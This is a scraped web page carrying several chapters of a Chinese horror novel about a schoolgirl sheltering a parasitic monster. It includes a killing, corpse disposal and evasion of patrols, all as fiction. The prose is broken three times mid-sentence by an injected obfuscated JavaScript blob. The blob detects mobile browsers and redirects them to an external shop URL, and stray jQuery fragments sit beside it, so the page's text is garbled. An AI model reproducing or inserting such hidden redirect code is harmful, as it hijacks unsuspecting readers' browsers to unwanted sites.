它学着奶牛猫,将肚皮翻过来,两只前爪弯曲,在草地上打滚,沾了一身草木碎屑,还伸出前爪左右拨弄翻出土面的蚯蚓。
唐念不经意间瞥到,心里百感交集,想到寄生温子默的那只怪物聪明到能够模仿他的字迹和发音,而唐夏却在这里学猫翻肚皮撒娇……是不是因为她割了它太多次触手,影响了它的生长发育,导致它智商没有跟上啊?
这边她正腹诽它笨,那边院门忽然被人拍响。咚咚咚,不疾不徐的三声。
奶牛猫受了惊吓,瞬间窜上围墙跑没影了,唐夏把肚皮翻回来,竖着尾巴,小跑到走出屋门正打算过去开门的唐念脚下,用尾巴绕住她的脚踝。
她顺手把它抱起来,穿过院子里的丛丛杂草走去开门。
铁门呻吟一声被她拉开,唐念在门开那一瞬间很顺嘴地问了句“谁”,下一秒便听到了温子默的声音:
“我。”
12.捕猎
巷道冷落,风簌簌地摇撼前方一户人家罩在屋檐上的防雨棚,温子默穿着白日的校服站在院门口,面容被夜风洗刷得白净冷清,像白白一块粉笔印拓在墨绿色的黑板上。
“你好,唐念。”
他若无其事地向她打了招呼,仿佛自己不是大半夜冒犯且惊悚地出现在不熟的同学家门口,而只是关系要好的朋友随意过来窜门一样。
她按捺下心里的惶惑,也跟着说了声你好。
空气静默了几秒。
唐念站在铁门之后,单手扶着门。
她向来习惯沉默的场合,但眼前这种沉默给人一种危险的预感,于是她绞尽脑汁搜刮了一下话题,说这么晚了,已经到了宵禁时间,你还不打算回家吗。
“我正准备回家。”温子默微笑着说,“顺路过来看看你,顺便请教你些问题。”
“啊。”
唐念发出了一个无意义的单音节。
她不记得他们有熟到需要互相看望的关系。事实上在她怀疑温子默被寄生以前,他们拢共也就只说过几句话,说的内容不外乎是“试卷借我”“帮我传下作业本”“你看得到老师的板书吗”之类的口水话。她也不清楚温子默要问她什么问题,看到他回身去翻书包的动作,唐念谨慎且不动声色地朝后退了一步。
好在温子默没有从书包里翻出手榴弹。
他只是摸出了自己的数学试卷——这在唐念看来比手榴弹还要诡异——然后说:“抱歉大半夜过来打扰你,白天数学老师讲的那道题我没听懂,你数学成绩那么好,能再给我讲讲吗?”
他们明天又不是不会见面,完全可以留到明天上学再问,大半夜过来请教她数学题,这理由怎么看都太鬼扯了。唐念没有吱声。
“你能再给我讲讲吗?”
温子默像有无限的耐心,柔声把刚才的诉求又重复了一遍。
风还在呜咽,雨棚张牙舞爪,在黑暗里像一只活过来的史前巨兽。温子默站在巨兽的嘴下,面容时而清晰时而模糊。
她担心一直不回答会刺激到他,只能粗略瞄了题目,木着脸讲解起来。
温子默不知有没有听懂,他的重点似乎并不在题目上,在她毫无感情地念完题目解法以后他就若无其事把试卷收了回去,刻板地点点头说:“谢谢你。”
接着眼眸一转,看向她怀里的唐夏,突兀地说,“这只猫很可爱。”
唐念这才想起一直被她抱在怀里的唐夏,低头看去,唐夏团在她臂弯里,眯着眼睛要睡不睡的样子,在他们相继看来后才张大嘴巴打了个置身事外的哈欠,甩着尾巴,一双圆溜溜的猫眼一瞬不瞬地盯着温子默。
“……是吗?”唐念含混回答,“它很能吃。”
温子默笑了笑:“它没吃到真正有营养的东西,不然能长得更好。”
她抬眸扫了他一眼。
“我的意思是……我家里养过猫。”温子默注视着她的眼睛,缓缓道,“你把这只猫给我吧,我家里有很多猫粮,可以把它养得更好。”
*
唐念在看清温子默面容那短短几秒内飞快设想过他突然造访的缘由,比如察觉到她知道真相,打算过来兵不血刃地解决掉她。她万万没想到温子默竟然是奔着唐夏来的,而身为当事怪物之一的唐夏却一副神游天外的模样。
唐念不清楚温子默要走唐夏的目的。她对寄生怪物知之甚少,连它们是群居动物还是独居动物都说不清楚。也许温子默要走唐夏是为了合作,像雄狮联盟那样构建一个共同抵御外敌的团体,也可能是唐夏的存在让他感受到了威胁,正如古语说的一山不容二虎,他要走唐夏的目的其实是偷偷解决掉它。
根据唐夏满不在乎的反应来看,她认为前者可能性更大。
不过都无所谓,因为不管温子默的目的是什么,她都不可能把唐夏交出去。先不论她对它兴趣正浓——就像小孩子拿到心爱的玩具一样,在没有彻底玩腻前,任何人想要将它据为己有的举动都会激发她的占有本能——就说它白白吃了她那么多条鱼这一点,她都还没找到机会连本带利向它讨回来,就更不可能放它离开了。
至于唐夏本人的意见,那更是无关紧要。
唐念并没有打算平等温和地询问唐夏“你是愿意和他离开还是留在我这里”,她收紧了手上抱猫的力道,面无表情地回答:“它是我的宠物。”
“我的”两个字还刻意咬了重音。
温子默愣了愣,仿佛没想到她会这么说。
被女孩子抱在怀里的橘猫再次懒洋洋地甩了甩尾巴尖儿,在寂静凄清的夜里拖着声调响亮地喵了一声,然后将脑袋扎进她臂弯里不动了。
温子默终于收回了落在唐夏身上的视线。
“好吧。”他说,抿去唇角此前挂着的淡淡的笑意,眼睛在黑夜里显得黑洞洞的,像两个幽深的大窟窿,说话时面皮几乎没有起伏,只有喉咙一鼓一鼓,挤出失真的语流,仿如宣读某种预言,“猫是忘恩负义的东西……祝你好运,唐念。”
*
门关上那一刻,唐念才真正卸下劲儿来。
跟温子默对话时她一直绷着神经与身体,以至于现在才发觉自己手臂酸软,当然也有可能是抱猫抱的。这只橘猫是公猫,一身腱子肉,虽然死去多时,但抱起来也有十来斤,死沉死沉。
她改抱为拎,不客气地捏着猫的后颈朝屋里走,默默盘算待会儿果然还是得用按键逼问唐夏一些事,比如它这个同伴到底怎么回事?来要走它的目的是什么?以后还会不会再来?会不会给她和唐生民造成威胁?
这一晚的危机已经解除了——起码她本人是这么想的,以至于院子外不远处响起纠察员的声音时,唐念结结实实吓了一跳。
“这个学生!”纠察员的严厉是冲着温子默去的,“这么晚了,你怎么还在外头晃悠?你知不知道现在是宵禁时间?啊?!”
温子默似乎嘀咕了一句什么,声音不大,唐念没听清。
她做贼心虚,抱着唐夏矮身蹲到了邻近的围墙下,不敢继续走路,怕发出声音惹来纠察员警觉。
“你叫什么名字?这校服……一中的?说!你叫什么名字,读几年级了,家在哪里?学生卡有没有,拿出我看下!”
外面窸窸窣窣,似乎是温子默在翻书包找什么东西,他边找边说他叫温子默,今年高三。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704598|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纠察员要到了证件,安静了一会儿,应当是在核对证件是否属实,过了片刻,又拔高嗓音厉声道:“你还没回答我你家在哪,这么晚了,你在外头晃荡干嘛?!知不知道要待在家里?宵禁都普及一个月了,你是觉得无所谓还是怎样啊?”
温子默又低声说了一些什么,纠察员复述他的话:“栗园小区……那不是离这还挺远的吗?你住那边你半夜不搁家待着你往这犄角旮旯的城中村来干嘛?!来,来,你过来!什么都别说了,你先跟我走一趟。”
接着是一阵推搡的声响,唐念猜测是纠察员逮住了温子默。
他们的脚步声离她的家越来越近,自她家院门前经过,紧接着又逐渐远离。走出去六七米后,纠察员像是找出了对讲机之类的东西,对那头说:“指挥中心,指挥中心,这里是纠察员10162号,收到请回答。”
那头信号不好,纠察员等了一会儿仍没等到回应,只得按住按钮:“指挥中心,这里是纠察员10162,收——”
后面的话生生折断在喉咙里。
*
唐念死死搂紧了手里的猫。
她听到了。
一声不属于人类的尖刺啸鸣——如同利箭破空之声,割破夜的寂凉,呼啸着朝纠察员发声的来源吞去。
纠察员连惨叫都没有发出来,他的声音更像是说话说到一半被人用枕头用力闷住,全部捂在了喉咙口,只有几道从气管里挤出来的“嘶嘶”声代表他的身体仍在做最后挣扎,但很快这些嘶嘶声也彻底消失了,取而代之的是怪物咀嚼骨头的声响与满足的喟叹。
咔嚓。
咔嚓。
极清脆的几声,像动物世界里斑鬣狗捕食后利用强大的颌部力量嚼烂猎物的骨头,随后又伴随着呼噜噜的声响,类似人利用舌尖吸吮猪筒骨里白嫩的骨髓。
血液飞溅,骨肉碎烂。
浓烈的铁锈味被风送来,虽然什么都看不到,但唐念整个视野都是鲜红的。
她的心化身为巨锤,仿佛有人拿着铁锤猛砸她的胸口,心脏每跳一下,整个胸腔都会连带着震出濒死的嗡鸣,牵连着周围的肌肉都在发酸胀痛。
猎食与寄生的过程其实非常快,但她彻底失去了时间感知能力,只觉得每一分每一秒都被拉得无限长。长到不知过去多久,外头捕猎的声音才彻底结束,巷道陷入了坟场般的死寂。
大约几秒后,声音又出现了。
断断续续,零零落落——
“指挥中心,这、这、这里是……纠察员……10162号……”
“指挥中心,这里是纠察员……10162号……”
“指挥中心,这里是纠察员10162号……”
一开始还是温子默的发音习惯,但随着怪物不断重复练习,温子默的所有印记迅速褪去,它的声音在短短几秒内完全转变为了纠察员本人的声音。
恰在此时,对讲机传回了指挥中心的应答。
“纠察员10162号,指挥中心收到,请讲。”
纠察员10162号毫无感情地回答:“一中附近的城中村巡视完毕,没有异常,情况可控,完毕。”
13.在恐惧之前
“指挥中心收到,情况了解,纠察员10162号,请保持联络,继续巡视其他区域,完毕。”
对讲机里沙沙的电流声连同那头的人声一齐消失了,巷道再次陷入死寂。
在确认纠察员10162号离开之前,唐念不敢贸然起身,甚至连喘气都不敢喘出声音。虽然巷道里的那只怪物刚才以温子默的名义敲开铁门时没有对她展露出攻击性,但唐念不敢赌陌生怪物的仁慈心。她不确定它猎杀完纠察员以后会不会突然改变想法,觉得她很适合作为一道餐后甜品。
她数着自己乱七八糟的心跳,足足数了五百下,才听到纠察员10162号离去的脚步,特制军靴踩上巷道的旧石板,发出哒哒哒的脆响。
等到脚步声彻底消失不见了,她才扶着膝盖慢慢站起来。
蹲了太久,两条腿软得像两根面条,唐念缓了片刻,用手扒住围墙墙头,踮起脚尖朝外望去。
院门外的巷道空无一人,只有温子默的尸体孤零零地横陈在那儿。
她有点想吐,这种心情类似智商较高的社会性动物看到同类死亡之后产生的兔死狐悲的惊惶。但在呕吐之前还有更重要的事情需要处理——她不能让温子默的尸体大剌剌横在路面上。
不是因为她对温子默有什么悲悯之情,更不是因为担心吓坏路人,纯粹是因为不把他的尸体处理掉的话,等明天天一亮,她所住的这片区域绝对会成为纠察员们重点排查的对象。而与温子默同班的她自然首当其冲,她不能把危险留在自己身边。
唐念打开院门走了出去。
温子默脸朝下躺着,她伸手将他翻过来,看到他不久前还朝她做出各色生动表情的面颊呈现出死人才有的灰败,像斑驳褪色的墙灰,触手可及的皮肤也是冰凉的。
他的嘴唇以一个极不自然的姿势洞开,夸张得仿佛能吞下高山,露出来的口腔由于缺乏照明而像一个幽深黑洞,通往不知名的井底。
唐念稍微瞥了一眼就把目光别开了,挽起他其中一条胳膊,试图将他挎上自己的肩膀。
她试了几次,结果都以失败告终。
死人的重量与活人不可同日而语,因为尸体无法主动发力分担体重。唐念不得不在腰椎折断以前松手把温子默甩回地上。她站在原地发了会儿呆,思考起让唐生民出来帮忙的可能性。
她爸哪哪都不靠谱,看到尸体可能当场就能吓得屁滚尿流,再严重点可能会吓晕过去,但他这人护短,醒过来后,比起大义灭亲把女儿供出去,骂骂咧咧帮她处理尸体更像他能干出的事。
唐念想着想着就笑了起来。
在这种场合下还能笑,足见她的精神已经紧绷到了某种离奇的程度。她缓缓从口腔内吁出一口气,就是这个时候,她留意到了被她忽略多时的唐夏。
从刚才到现在,橘猫都跟在她脚边。
它对尸体兴致缺缺,反而一直用那对黄绿色的眼睛盯着她看。
唐念朝它蹲下来。
“唐夏。”她压低声音,缓缓对它说,“你寄生到这具尸体上吧。”
*
橘猫坐在原地,头歪了歪,在她又一次低声重复了要求以后,它才张开猫嘴,从里面吐出团乳白色的东西。
唐念伸手托住了它。
它小小的,依然只有她的手掌那么大,握在她掌心里仿佛一滩假水——自从寄生到猫的身体里,不知是为了适应猫的体型还是如方才那只怪物所言,“它没真正吃到有营养的东西”,唐夏一直都没长大,始终维持着这个迷你的体型。
她把它送到了温子默洞开的嘴上。
唐夏从她敞开的指缝间滑下去,顺利坠入口腔构成的深渊。
她蹲在旁边等了一会儿,大约过了几秒,温子默的身体就发出了各种细碎声响,她看到他的嘴巴张开又并拢,四肢莫名开始抽搐,随后眼皮也跟着跳了跳。唐夏没有寄生过人类,以至于温子默的眼皮睁开后眼球还是朝上翻的,露出来的尽是森然的眼白。
这画面实在惊悚过了头,唐念忍不住想伸手帮它把眼球扒拉回正确位置,将要碰到的时候又担心留下指纹,于是勉强收回了手。
唐夏在温子默身体里调整了好一会儿才找到正确的寄生位置。它开始尝试站起来,姿势与电视剧里演的丧尸无异,还有点像刚刚吸食完.毒.品的不良少年。唐念给它让开了道,站在一旁替它放风,给它适应人类肢体的时间。
又过了两分钟,等她再次回眸,唐夏总算操纵着温子默的肢体实现了站立。
它看起来对自己这具临时的新身体非常好奇,以至于像得了多动症一样,时而挠挠自己的头,时而原地开始深蹲,时而把舌头从嘴里拉出来,似乎想看看它能伸得多长,甚至还勾开裤腰带看了眼自己的.裤.裆。
“……”
唐念不得不开口让它别玩了,“我们得抓紧时间离开这里。”
有了唐夏的驱动,尸体可以顺利搬运到离这更远的地方,或者干脆搬回温子默居住的栗园小区。唐念想了想,很快排除了后者。栗园小区前几天才出了高三男生跳楼的命案,巡卫一定比平时强,他们现在过去无异于自投罗网。
她想起距离他们学校一公里外的地方有座丘陵,丘陵背面荒废多时,除了坟墓,就只有一座破落的寺庙,也许可以把尸体弄到那里。而且天气预报说明后天会下雨,如果天气预报属实,雨水也能冲刷走她到过那里的所有细小痕迹。
打定主意以后,唐念当机立断示意唐夏跟上。
他们需要避开街道上巡逻的纠察员,前往一千多米外的地方,这不是一件易事,十分考验隐蔽能力。好在唐夏操纵肢体的能力虽然有限,走路走得歪歪扭扭,但步伐轻盈,没有发出任何声音,也许是当猫时形成的好习惯。
她在前面带路,领着他避开街道上开着摩托呼啸而过的纠察员,小心翼翼穿行于没有监控的地段。
唐念能知道哪些路段没有监控还要归功于林桐。她妈妈失踪那段时间,为了调查她的下落,周围几公里的监控都被调了出来,可惜真正记录有她身影的监控少之又少,负责这个案子的工作人员解释说是因为很多路段都没有安装监控。唐生民听得云里雾里,嘴里随便应着“哦哦,哦”,反而是一直默不作声待在旁边的唐念把所有没安监控的路段记了下来,在最初几个月里每天游走徘徊于那些角落,希望能偶然觅得林桐的踪迹。
她当然没有成功,也由此遗留下一个习惯——每次路过那些没有监控的路段都习惯抬头瞥一眼。
这个谈不上好坏的习惯在此时发挥出效力,让她能够带领初生牛犊般的唐夏娴熟地穿行于黑暗之间。
到达荒山已经是二十多分钟后的事了。夜晚的山黑得不见颜色,她拨开杂草行走在山上,庆幸她家院子里都是杂草,让她早已习惯了穿行于这种场地。
一直走到一个她认为正常人压根不会无故光临的地方,唐念才停下脚步。
裸露在外的脚踝与手臂被蚊子叮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711056|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了不少包,她没有去挠,仰头看着眼前一棵榕树,问:“你能爬树吗?这棵树树冠挺密的,你把尸体弄到树上去,然后你再自己下来。”
背后十分安静,唐夏没动。
唐念回过头。
她的眼睛逐渐适应了山里这种幽深的黑暗,能够借着朦胧月光看清温子默的形体,但更细致的东西,像表情之类的就看不清了。
被唐夏寄生的温子默就站在她身后一臂开外的地方,双手自然垂于身侧,整个人站得笔直,没有呼吸,没有起伏,既像皮影戏里拓印在白色幕布上的黑影,也像一尊经年累月的石塑。
“唐夏?”
她轻轻唤了一声。
这回唐夏动了。
一道骨肉炸裂的闷响,温子默的头轰然炸开,如同一场绚烂残酷的烟花,嘴唇像日本都市传说中的裂口女,夸张地朝两鬓延去,直到整个下颌都掉下来,无数条强劲修长的触手从他被撑到极致的嘴里爆出,在黑夜中飞舞蠕动。
月光照不出具体的细节,唐念只能看到触手外沿火红色的光晕,刺目如血,但她知道这是唐夏的触手的完全形态,一种迥异于乳白的艳红。她想起了古希腊神话中的美杜莎,每一条翻飞的触手都是狰狞蛇头,嘶嘶吐着信子寻觅新鲜温热的血。
蛇头瞄准了她,朝后弓起,摆出一个标准的猎食姿态,短短一瞬的停顿后,触手以迅雷不及掩耳之势呼啸着扑向了她的脸。
她听到了半个多小时前在院子里听到过的那种破空之声。
……原来是这么来的啊。
在这之前唐念从来不信走马灯之类的东西,她觉得死亡的时刻那么短暂,根本来不及回顾完一生,说不定还没意识到任何事就死了。但在濒临死亡的瞬息间,她的思维竟然前所未有地活跃和顺畅,她想她这回大概真的会死掉,然而比死亡的恐惧更快滋生的是一股源于生命本能的近似自然崇拜的狂热。
她目睹了她亲自饲养长大的小怪物精彩绝伦的捕食瞬间——即使捕食对象是她。但是这又有什么关系?
这种感觉有点像她从前喂养红火蚁,当她好奇地捻起其中一只兵蚁观察时,它毫不犹豫地蛰了她一口。红火蚁的毒液让她被蛰的指尖飞快肿起来,唐生民很生气,说你一天天净拿手捉这些脏东西,被咬就是迟早的事,该你长个教训。她忘了自己那时回答什么了,依稀记得是:“……可是它很漂亮。”
不仅仅外形漂亮,连猎食过程都那么果决而精彩。
唐夏用触手完全包裹住她的面部,触手爆发出惊人的绞杀的力道,很快她就感受到了窒息感,好在眼睛尚能睁开,她睁大眼睛看着离自己近在咫尺的唐夏的口器。如果这是死亡的必经之路,她想在失去所有意识之前清清楚楚目睹它整个猎食过程。
但捕食突然停止了。
唐夏松了所有力道,她感觉到新鲜且凉爽的空气复又开始涌动,融融流淌在她的鼻翼间。
触手收了回去,唐夏上前一步,用温子默的眼睛注视她。
“唐……念。”
它说了降生以来的第一句话。
它抬起手——严格来说是温子默的手——用完全失去了温度的手掌摩挲她的脸,献血淋漓的脸凑过来,只有眼睛依然是清明的,与血腥的面孔不同,充满了小鹿般的纯良,闪烁着好奇的微光,幽幽如同炬火。
“你不……怕我……”它生涩地说,语调既不像温子默,也不像任何人,发音古怪而吃力,“……你好奇怪。”
14.谢谢
从决定留在唐念家里仰仗她的庇护开始,唐夏就一直在观察她。
她很奇怪。
这是它观察了许久得出的结论。
如果“正常”这个词能够用来形容契合种群特性的行为,唐念无疑是群体中的游离者。
它对人类这一群体的认知绝大部分来源于她家那台电视。白天唐念上学去的时候,唐生民闲着没事干,常常窝在沙发里翘着二郎腿看电视嗑瓜子,唐夏也会陪他一起看。这些天来,它在里面看到了各色新闻——看到动乱,和平,政治家的高谈阔论,反叛者的纸上谈兵,人民的悲戚与幸福。
它还看到了狗血连续剧,剧里男男女女爱来爱去,你爱我我爱他他爱她,一会儿不爱了一会儿又爱了,也不知在爱些什么,它对爱与喜欢的概念充满困惑,觉得它们可能代表某种淫.邪与滥.交。
通过这台收纳了人类闪耀时刻的小小方块,它逐渐明白人类是群居动物,拥有很强的社会性。它还得知人类需要与他者建立联系活下去,且人类拥有共情能力,能够以己度人,感知并抚慰同类的情绪。
唐生民的表现也确实契合了它的观察。唐念不在家的时候他总显得蔫蔫的,等唐念一回来他就会精神抖擞地开始犯贱。
可唐念不一样,她对自己的身份认同很模糊,像一团雾,行为模式也不太像社会生物。
她没有其他人普遍拥有的自怜之情,受伤这件事在她眼里似乎是可以被量化的,只要没有危及到自身生命安全,她就不会对自己的伤口施以过多关注。唐夏不明白她对唐生民有没有所谓的“亲情”,但它很确定唐念缺乏同学之间的共情,她那位同学被它的同伴残忍寄生,她却毫无感觉,唯一想的是要把尸体运走,免得留在原地危害自己的安全。
她对待死亡的态度也奇怪。
能活的时候,她当然会发挥求生本能费尽心力活下去,但假使情况危急到无可挽回的地步,就像现在这样——
唐夏发现在恐惧与迷茫渗漏之前,她的眼睛里满载着的是一首赞歌。
它甚至在她眼里读到了一股狂热的欣赏,这欣赏不是冲着它本身来的,它充其量只是某种载体,她为之深深着迷与惊叹的是它背后所蕴含的造物法则。
在这之前,它一直以为唐念愿意收留它是为了研究它族群的特性,好找出对付它们的方法,现在它意识到它想得太复杂了,她真的就只是对它感兴趣而已,感兴趣本身已是意义。
它停止了捕食——尽管在这之前它还将她作为储备粮,打算时机一到就吃了她,然后前往寻觅下一个宿主——现在它觉得她是一个不可多得的有趣样本,错过她,它也许再难遇到另一个唐念,可以供它深入了解人类这一群体的复杂性。
捕猎的意图与事实概已形成,它也许该感到尴尬,但唐夏没有尴尬这种情绪,它松开了唐念血糊糊的脸颊,抬头看着被其余枝干掩蔽的某根树枝,磕磕绊绊对她说:“爬到……那根枝干上……可以、吗?”
唐念顺着它的视线看过去:“再高一点。”
语调平直,仿佛刚刚被怪物绞住脑袋差点一命呜呼的人不是自己。
唐夏哦了一声,抱着榕树的枝干就要上去。
唐念拉住了它,指了指自己粘腻的脸颊:“你刚刚把我同学的血都崩我脸上了,我这样走回去万一被人看到会很麻烦,你有没有办法帮我弄干净?”
如果唐夏没有办法,她打算去山里的小溪洗一洗,只是现在月黑风高,水源旁不知道会不会有什么野生动物。别的都还好说,踩到蛇就麻烦了。
唐夏回头看着她,眨巴着眼睛像在思考,过了片刻,它说:“我……给你舔掉。”
她皱起脸,还没来得及拒绝,它就从温子默残损的脸颊里探出了大半个身躯。
那些赤红且崎岖的触手又恢复成了平时那副温吞吞的乳白色姿态。它重新覆盖在她脸颊上,这次不再凶猛,也没有杀意。唐念感觉到了它身体底部的吸盘,在她脸上细细密密蠕动。
恶心死了。
她一不小心又说出了心里话。
唐夏帮她清理完毕,缩回了温子默的身体,含糊不清地问:“恶心……是什么?”
“讨厌的意思。”她指着树干示意它可以攀爬了。
结果唐夏好学之心上来,又问:“讨厌……是什么?是……杀了我吗?”
“没那么严重,就是不喜欢而已。”
唐夏飞快将她的解释与自己脑海中的概念对应起来,随后惊讶地发现“恶心”的意思原来是不与它滥.交,那么恶心就是个好词了,唐夏想了很久,仿照电视里的人被人夸赞后的说辞,感激地对她说:“谢谢……”
它觉得适当学习人类的礼仪是有用的,因为唐念在它说完谢谢以后看了它一眼,随后又看了一眼,想必很是赞叹它的学习能力与精神。
它终于开始爬树了。
*
回去的路上,由于唐夏失去了寄生的身体,唐念不得不把它揣在兜里带回去。
这感觉很神奇,她避开监控与纠察员的巡视,时不时会把手伸进去,像玩史莱姆那样盘一盘,盘到后面唐夏不耐烦了,她的手指像被什么蛰了一下,抽出来之后又没有看到伤口。
唐念猜她大概是被电了一下,不过因为放电毕竟只是它操纵生物肢体的手段,而不是攻击手段,电流微弱,所以没给她造成任何伤口。
她顺利回到了家里,唐生民全程都没发现她不见了,他躺在自己房间的床上听书听得不亦乐乎,内容是几十年前便十分流行的赘婿爽文。
唐夏住回了猫的身体,在短暂地开口说话后又变成了只会喵喵叫的小猫。
那天晚上,雷阵雨如期而至,睡到半夜,唐念不得不起来关上被狂风吹开的窗户。
温子默的尸体是三天后被发现的,雨水使得空气湿度增高,加快了尸体腐烂的速度,据说住在寺庙里的老和尚下山买药时偶然闻到了尸体的腥臭,循着气味找过去才发现了端倪。
在温子默被找到之前,唐念他们班级里就已经流传起了各种猜测。有人坚持科学,说温子默可能是受到同小区跳楼男生的影响,一时想不开才离家出走了,有人认为他中了邪,被冤魂冲撞到了魂魄所以才消失不见,也有人觉得是反叛军搞的鬼。
李淼对所有说法都嗤之以鼻,他说温子默不是会因为学习压力太大就离家出走的人,至于玄学之流更是无稽之谈,反叛军也纯属胡扯,他上哪得罪反叛军?反叛军又劫持他做什么?
惴惴不安的氛围弥散了三日,最后以发现温子默的尸体告终。
这消息比所有猜测都来得恐怖和直白。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715916|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>死亡曾经离他们那么遥远,现下却侵蚀到了他们认识的人身上,这个人还曾与他们朝夕相处。一时之间,突然连高考都显得没那么重要了,大家口口相传的不再是老师上课强调的某个知识点,而是官方公示出来的真相。
这件事本可继续镇压下去,就像跳楼的高三生一样,然而官方许是意识到再不提高全民警惕就要完蛋了,为了后续大规模的搜查活动能够顺利展开,并且争取到民众的配合,他们公示了一部分真相,譬如温子默的离世。但同时又故技重施,把所有锅都扣到了反叛军头上,宣称反叛军掌握了新的杀人技术,现在正在潜逃。
唐念熟知他们□□的思路——反叛军再凶残也是人类,是曾经被政府制服过的存在,民众得知消息固然害怕,却不至于崩溃。可怪物不一样,怪物的存在若是公布,势必会引起全民恐慌,这不仅对调查不利,还有可能在调查展开之前就引发意想不到的暴动,给怪物制造可乘之机。
那几天街头巷尾全是民众自发组织的针对反叛军的游行示威,事情还闹到了首都,被新闻媒体大规模报导。
班上同学也义愤填膺,安慰神思恍惚的李淼说:“大家都是兄弟,真遇上反叛军咱就跟他们拼了,给温子默报仇!”
然后,某一天,上课上到一半时,他们学校突然闯入许多辆救护车,由纠察员护送,说是依据上头的命令来给学生以及教职人员做体检,排除生化武器散布的可能。
体检来得猝不及防,唐念和其他女生被带到临时搭建起来的女生体检区,医护人员要求她们脱.光.身上所有衣物,给她们里里外外都做了细致的检查,口腔与大脑是重点检查区域,拍片当然也没落下。
折腾了一整天,傍晚时分,她才得以从学校离开。
街上人人自危,晚风卷着印有“击溃反叛旧势力,追求和平大一统”标语的传单在空中乱飞,每走几步路都能看到几个荷枪实弹的纠察员以及身着防护服的流浪动物扑杀者,警笛鸣笛之声交织着喇叭里高声宣读的街道戒严注意事项,咿呜咿呜,如同某种野兽不安的嘶鸣。
那是2085年5月末的一天,距离高考不足半个月。
唐念走到城中村的入口,发现连他们村头也停了不少救护车。
“小唐?”
乔燕妮站在某个纠察员身边,手里捧着本本子不知在记录什么东西,看到她,朝她点了点头算作招呼。
她问:“燕妮姐,这是?”
“哦,体检。”乔燕妮耐心地解释,“这几天全民突击体检,上头非常重视,给我们增派了许多医务人员,也提供了许多医疗资源,不止你们学校做检查,所有单位都要进行体检,连家庭都要接受入户检查。这是为了预防反叛军的生化攻击,他们又研制出了一种特异性病毒,你年轻,肯定能理解这些新事物新章程,回头你搁村里多给村民们宣传宣传。”
唐念就迟缓地啊了一声。
“我刚刚走过来,看到很多人在扑杀流浪动物。”她顾左右而言他地提了一嘴。
“啊,对。”乔燕妮又补充说,“反叛军研制的这种病毒也能攻击动物,安全起见,家养动物也要接受全面检查,流浪动物则无差别扑杀。”说到这,她仿佛很顺嘴地问了唐念一句,“你们家没养宠物吧?”
“没有。”唐念舌根发麻。
15.埋尸
走回家的路上,唐念做好了最坏的打算,比如推开院门进去以后直接被人以一个擒拿术摁倒在地,纠察员用枪指着她的太阳穴,质问她为什么欺上瞒下,包藏祸心,或者目睹状况外的唐生民被纠察员架着胳膊扣押起来,边大喊“大人我冤枉啊”边不合时宜地向她散发求救信号。
但这些通通没有发生。
她家的院门大敞着,她小心翼翼走进去后却没有见到任何纠察员的身影,只看到唐生民蹲在屋子前的台阶上啃西瓜。
红色的西瓜汁在地面上汇聚起一小滩,足见唐生民吃得有多忘乎所以。
她愣了一下,将院门掩上,低声问:“还没体检到我们家?”如果是这样的话她还能趁这点时间跟唐生民统一口径。
然而唐生民的回答很快打碎了她的希冀:“体检完了啊。”
“啊。”她又愣住了,“那你怎么……”还好好的?
她本来是想这么说的,可又觉得这句话的言下之意仿佛很期待唐生民出点什么事似的,说完他估计又要朝她发神经,于是咽下这句不太妥当的话,调用脑海里存货不多的高情商发言语库,问:“他们没说什么?”
唐生民终于从西瓜上抬眼看向她,神色平静:“他们让我转告你一声,以后别再买鱼投喂流浪猫了,虽然你善良,但是现在流浪动物都得扑杀,不然会传染疾病,好在我们家没有养猫啊狗啊这些东西,从现在开始管住自己喂流浪动物的手就行。”
“……哦。”
她领会了唐生民的意思,瞄了眼院门外,缓慢地点了点头。
常去菜市场买鱼的事很难瞒,稍微打听一下就能知道她经常购买超过两人份的鱼,比起嘴硬说自己什么都没养,说成投喂流浪动物确实更加合理,而且唐夏毕竟不是真猫,它所寄生的猫已经死了,不会新陈代谢,不会掉毛,不需要猫砂盆和逗猫棒之类的东西,家里没留下过任何养了猫的痕迹。围墙将他们的家包裹起来,身为邻居的李鳏夫耳朵又不好,也没人亲眼目睹过什么或者亲耳听到过什么。
至于唐夏在哪里,现下巷外人多口杂,唐念就没问。
她回厨房料理晚饭,淘米的时候走着神,不小心把部分生米连带淘米水一起倒进了碗槽,挑挑拣拣半天才把米拣出来。
一直持续到晚上八.九点,外头的嘈切之声才褪去。
